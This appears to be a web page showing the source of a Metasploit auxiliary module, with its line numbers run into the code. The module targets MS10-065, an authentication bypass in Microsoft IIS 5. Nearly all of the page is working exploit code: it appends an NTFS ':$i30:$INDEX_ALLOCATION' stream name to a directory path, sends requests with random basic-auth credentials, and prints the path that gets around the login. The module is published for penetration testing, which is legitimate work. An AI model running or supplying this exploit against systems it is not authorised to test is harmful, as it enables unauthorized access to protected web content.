Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/http/iis_auth_bypass.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info = {})9super(10update_info(11info,12'Name' => 'MS10-065 Microsoft IIS 5 NTFS Stream Authentication Bypass',13'Description' => %q{14This module bypasses basic authentication for Internet Information Services (IIS).15By appending the NTFS stream name to the directory name in a request, it is16possible to bypass authentication.17},18'References' => [19[ 'CVE', '2010-2731' ],20[ 'OSVDB', '66160' ],21[ 'MSB', 'MS10-065' ],22[ 'URL', 'https://soroush.secproject.com/blog/2010/07/iis5-1-directory-authentication-bypass-by-using-i30index_allocation/' ]23],24'Author' => [25'Soroush Dalili',26'sinn3r'27],28'License' => MSF_LICENSE,29'DisclosureDate' => '2010-07-02'30)31)3233register_options(34[35OptString.new('TARGETURI', [true, 'The URI directory where basic auth is enabled', '/'])36]37)38end3940def has_auth41uri = normalize_uri(target_uri.path)42uri << '/' if uri[-1, 1] != '/'4344res = send_request_cgi({45'uri' => uri,46'method' => 'GET'47})48vprint_status(res.body) if res4950return (res and res.code == 401)51end5253def try_auth54uri = normalize_uri(target_uri.path)55uri << '/' if uri[-1, 1] != '/'56uri << Rex::Text.rand_text_alpha(rand(5..14)) + ".#{Rex::Text.rand_text_alpha(3)}"5758dir = File.dirname(uri) + ':$i30:$INDEX_ALLOCATION' + '/'5960user = Rex::Text.rand_text_alpha(rand(5..14))61pass = Rex::Text.rand_text_alpha(rand(5..14))6263vprint_status("Requesting: #{dir}")64res = send_request_cgi({65'uri' => dir,66'method' => 'GET',67'authorization' => basic_auth(user, pass)68})69vprint_status(res.body) if res7071return (res && (res.code != 401) && (res.code != 404)) ? dir : ''72end7374def run75if !has_auth76print_error('No basic authentication enabled')77return78end7980bypass_string = try_auth8182if bypass_string.empty?83print_error('The bypass attempt did not work')84else85print_good("You can bypass auth by doing: #{bypass_string}")86end87end88end899091